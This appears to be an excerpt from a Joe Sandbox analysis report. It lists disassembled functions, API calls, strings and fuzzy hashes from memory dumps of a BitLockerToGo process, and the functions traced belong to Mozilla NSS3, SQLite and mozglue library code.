API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 7a333a9affd129e894146fb63c955924ea875b25eea73cbc72d7feb78c4ed570
Instruction ID: 57ef6201ba43bcf70cef1f966100a50658650443cd75d44ed69dc1eb4e0a8c0c
Opcode Fuzzy Hash: 7a333a9affd129e894146fb63c955924ea875b25eea73cbc72d7feb78c4ed570
Instruction Fuzzy Hash: 0322BF71906300EFE720CF14CC45B9A77F5AFA430CF248568E8585B792E772E859CBA6

Function 6C85C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C85C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C85C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C85C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C85C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C85C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C85CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C85CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C85DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C85DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C85DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C85DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C85DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C85E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C85E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C85E472

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c50447f1f59a532adfc08cda5c5f8a82d8b72bf2ef614ac2ee8cf66487759635
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8633CD71E0021A8FCB14CFA8C9C06EDBBF2FF49300F68866AD855AB745D771A955CB90

Function 6C8FECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C8FED38

Part of subcall function 6C894F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C894FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C8FEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C8FEFE4

Part of subcall function 6C9BDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C895001,?,00000003,00000000), ref: 6C9BDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C8FF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C8FF129
sqlite3_mprintf.NSS3(optimize), ref: 6C8FF1D1
sqlite3_free.NSS3(?), ref: 6C8FF368

Strings

matchinfo, xrefs: 6C8FF04F, 6C8FF082, 6C8FF0C2, 6C8FF0F2, 6C8FF124, 6C8FF169
offsets, xrefs: 6C8FEFAF, 6C8FEFDF, 6C8FF01F
fts4, xrefs: 6C8FF2AD
snippet, xrefs: 6C8FEF05, 6C8FEF37, 6C8FEF7C
fts3tokenize, xrefs: 6C8FF30F
simple, xrefs: 6C8FED79
unicode61, xrefs: 6C8FEDB5
fts3, xrefs: 6C8FF247
porter, xrefs: 6C8FED97
optimize, xrefs: 6C8FF199, 6C8FF1CC, 6C8FF211
fts3_tokenizer, xrefs: 6C8FEE1A, 6C8FEEA8
fts4aux, xrefs: 6C8FECF9

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 73cc18a49e9c773503e37405adea16be0f0964b7c73d703a623033a5e8334da0
Instruction ID: 40fd2a6347834848842897bfeac5924522f3bd41b2f349cbb0d779435f1c3a4e
Opcode Fuzzy Hash: 73cc18a49e9c773503e37405adea16be0f0964b7c73d703a623033a5e8334da0
Instruction Fuzzy Hash: 900212B5B043018BE7199E399D8572B36F27BD4348F18893CD86A87B00EB74E847C792

Function 6C80FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C87E7B8), ref: 6C80FF81
LeaveCriticalSection.KERNEL32(6C87E7B8), ref: 6C81022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C810240
EnterCriticalSection.KERNEL32(6C87E768), ref: 6C81025B
LeaveCriticalSection.KERNEL32(6C87E768), ref: 6C81027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C810D67, 6C810D7B, 6C810DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C80FE99, 6C80FEB7, 6C80FED3, 6C810DB8, 6C810DD3, 6C8119B4
<jemalloc>, xrefs: 6C810D62, 6C810D76, 6C810DA7

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: f76d24767fbd1eb5afc64e4d2bd1e6ca9b22fda56d0adbf3c213d31f7b452987
Instruction ID: 73f806ab58ba0a838c3840cb6d42f6057e75bc1366d381a245d1116819d7359e
Opcode Fuzzy Hash: f76d24767fbd1eb5afc64e4d2bd1e6ca9b22fda56d0adbf3c213d31f7b452987
Instruction Fuzzy Hash: C3C2B8716097428FD724CF28CA80716BBE1BF85328F28CA6DE4698FB95D771D851CB81

Function 6C89ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C89ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C89EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C89EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C89EF98

Strings

%s at line %d of [%.10s], xrefs: 6C89F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C89F483
database corruption, xrefs: 6C89F48D

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 93487c099d461e0402440b13b2bab26149446cd40fa299e07552d3ef7072218b
Instruction ID: 6eb77b36546bba9e62e4d4923c7d86bcfa10caccf928802ee624d434f76c7b17
Opcode Fuzzy Hash: 93487c099d461e0402440b13b2bab26149446cd40fa299e07552d3ef7072218b
Instruction Fuzzy Hash: 03621630A04245CFEB28CF6CC64479ABBB1BF55318F18499DE8465BB92D735EC86CB90

Function 6C81D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C87E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D4F2
LeaveCriticalSection.KERNEL32(6C87E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D50B

Part of subcall function 6C7FCFE0: EnterCriticalSection.KERNEL32(6C87E784), ref: 6C7FCFF6
Part of subcall function 6C7FCFE0: LeaveCriticalSection.KERNEL32(6C87E784), ref: 6C7FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D52E
EnterCriticalSection.KERNEL32(6C87E7DC), ref: 6C81D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C81D6A6
LeaveCriticalSection.KERNEL32(6C87E7DC), ref: 6C81D712
LeaveCriticalSection.KERNEL32(6C87E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C82D1C5), ref: 6C81D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C81D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C81D82C
<jemalloc>, xrefs: 6C81D827

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 54f8285df887f373432cbbf5f3a15470946689170bc6bb1e03e2f16dae8c540c
Instruction ID: 9f159dfdb69e88255d3c52130d8f6a768668dff4ea01d39598b5d4f713fa2219
Opcode Fuzzy Hash: 54f8285df887f373432cbbf5f3a15470946689170bc6bb1e03e2f16dae8c540c
Instruction Fuzzy Hash: 3491B371A087168FD736CF28C29476AB7E1EB86318F144D2ED55A87F81E734E844CB92

Function 6C940EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C940F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C940FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C941006
PK11_FreeSymKey.NSS3(?), ref: 6C94101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C941033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C94103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C941048
memcpy.VCRUNTIME140(?,?,?), ref: 6C94108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9410BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C9410D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C94112E

Part of subcall function 6C941570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C9408C4,?,?), ref: 6C9415B8
Part of subcall function 6C941570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C9408C4,?,?), ref: 6C9415C1
Part of subcall function 6C941570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C94162E
Part of subcall function 6C941570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C941637

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: d89be228e429194fb8acf6b4ef1628093822e22aabc1cc689e114911e8220a82
Instruction ID: 4d0c40a16f8dafa93b35e66ca60c376d67ce438c65e2b693c32a825b0781366b
Opcode Fuzzy Hash: d89be228e429194fb8acf6b4ef1628093822e22aabc1cc689e114911e8220a82
Instruction Fuzzy Hash: E171DEB1A00205CFDB04CFA5DD80AAABBB4FF5931CF148629E91997B11E731E964CB90

Function 6C966C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C911C6F,00000000,00000004,?,?), ref: 6C966C3F

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C911C6F,00000000,00000004,?,?), ref: 6C966C60
PR_ExplodeTime.NSS3(00000000,6C911C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C911C6F,00000000,00000004,?,?), ref: 6C966C94

Strings

gfff, xrefs: 6C966CF5
gfff, xrefs: 6C966D30
gfff, xrefs: 6C966D9C
gfff, xrefs: 6C966D66
gfff, xrefs: 6C966CFD

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: a21fcfdb4a8bba58f59df0602d1c6e94a2634d2f05e1978a70b25772735dd703
Instruction ID: e04075e240452f4370f46a9e858a270060d21253a768c00ac071fd6b41b15199
Opcode Fuzzy Hash: a21fcfdb4a8bba58f59df0602d1c6e94a2634d2f05e1978a70b25772735dd703
Instruction Fuzzy Hash: 42514B72B016494FD71CCDADDC626DABBDAABE4310F48C23AE442DBB81D638D906C751

Function 6C8AAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C9CCF46,?,6C89CDBD,?,6C9CBF31,?,?,?,?,?,?,?), ref: 6C8AB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C9CCF46,?,6C89CDBD,?,6C9CBF31), ref: 6C8AB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C9CCF46,?,6C89CDBD,?,6C9CBF31), ref: 6C8AB0A2
CloseHandle.KERNEL32(?,?,6C9CCF46,?,6C89CDBD,?,6C9CBF31,?,?,?,?,?,?,?,?,?), ref: 6C8AB100
sqlite3_free.NSS3(?,?,00000002,?,6C9CCF46,?,6C89CDBD,?,6C9CBF31,?,?,?,?,?,?,?), ref: 6C8AB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C9CCF46,?,6C89CDBD,?,6C9CBF31), ref: 6C8AB12D

Part of subcall function 6C899EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C8AC6FD,?,?,?,?,6C8FF965,00000000), ref: 6C899F0E
Part of subcall function 6C899EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C8FF965,00000000), ref: 6C899F5D

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 82cb940f48e134bc881c7bdc67a467d715c6ea88c7edcab51afab4de02a075e0
Instruction ID: 0cc00af5f762f31284ab362c81411dbe2ef1c083e7840c6072bceec66f320846
Opcode Fuzzy Hash: 82cb940f48e134bc881c7bdc67a467d715c6ea88c7edcab51afab4de02a075e0
Instruction Fuzzy Hash: F991D470A0470A8FDB29CFA9CA84ABBB7B1FF45304F144A2DD41697A50E735E846CB51

Function 6CA28D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CA714E4,6C9DCC70), ref: 6CA28D47
PR_GetCurrentThread.NSS3 ref: 6CA28D98

Part of subcall function 6C900F00: PR_GetPageSize.NSS3(6C900936,FFFFE8AE,?,6C8916B7,00000000,?,6C900936,00000000,?,6C89204A), ref: 6C900F1B
Part of subcall function 6C900F00: PR_NewLogModule.NSS3(clock,6C900936,FFFFE8AE,?,6C8916B7,00000000,?,6C900936,00000000,?,6C89204A), ref: 6C900F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CA28E7B
htons.WSOCK32(?), ref: 6CA28EDB
PR_GetCurrentThread.NSS3 ref: 6CA28F99
PR_GetCurrentThread.NSS3 ref: 6CA2910A

Strings

%u.%u.%u.%u, xrefs: 6CA28E74

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: ff342b51fff69579031f2b9abff4cd37672bfc74185a44b56b218b3092f7eb82
Instruction ID: 942fafb744a3ba14639f37aa0c2ad5006597e18c53ebd59f47f7926189486672
Opcode Fuzzy Hash: ff342b51fff69579031f2b9abff4cd37672bfc74185a44b56b218b3092f7eb82
Instruction Fuzzy Hash: A0027A329052758FDB188F2AC568766BBB2EF42304F1DC25EDC915BAD1C339D989C790

Function 6C842C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C842C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C842C61

Part of subcall function 6C7F4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C7F4E5A
Part of subcall function 6C7F4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C7F4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C842C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C842E2D

Part of subcall function 6C8081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C8081DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C842E3B
(root), xrefs: 6C84354F
expected a Time entry, xrefs: 6C842E36

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 1b12a875881d29122a30a4d504fd22471b861fdbe19aa639b45068ac0d54df03
Instruction ID: 4e019622f5848ad628e4ae33f09385c69f9f69666b810df909d70b2f7fe2f871
Opcode Fuzzy Hash: 1b12a875881d29122a30a4d504fd22471b861fdbe19aa639b45068ac0d54df03
Instruction Fuzzy Hash: 8091C0706087488FD734CF28C58469EB7E0AFC9358F508D2EE59A87751EB34D949CB92

Function 6C7FD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C7FDC7F
8, xrefs: 6C7FDC08
9, xrefs: 6C7FDE7F
, xrefs: 6C7FDA88
0, xrefs: 6C7FD852
-, xrefs: 6C7FD7DD
1, xrefs: 6C7FDBDD
@, xrefs: 6C7FDAF6

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 6a88fdf654d8dbe6621f1ccbcbedb2f3b03023b5f76542846fda0e9c797dadea
Instruction ID: ce2ded33d5db3fa4dc377e4a4fd2a5cdc7e22ebdf8c121633010320889409092
Opcode Fuzzy Hash: 6a88fdf654d8dbe6621f1ccbcbedb2f3b03023b5f76542846fda0e9c797dadea
Instruction Fuzzy Hash: EB62BE7150C3458FD701CE29C2D079ABBE2AFA6358F184A2DE4F54BB51D3359886CB8A

Function 6CA2CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA2D086
PR_Malloc.NSS3(00000001), ref: 6CA2D0B9
PR_Free.NSS3(?), ref: 6CA2D138

Strings

>, xrefs: 6CA2CF5B

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 9a2925b5d8b55d2dd56de42582dff6a0a0f1a916b48e7dd6fb1e5fe2201b8673
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 61D11672F456760BFB24487D88613EAA7938B42378F6C4329D5619BBE6E61DC8C3C341

Function 6C86545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C868A4B

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
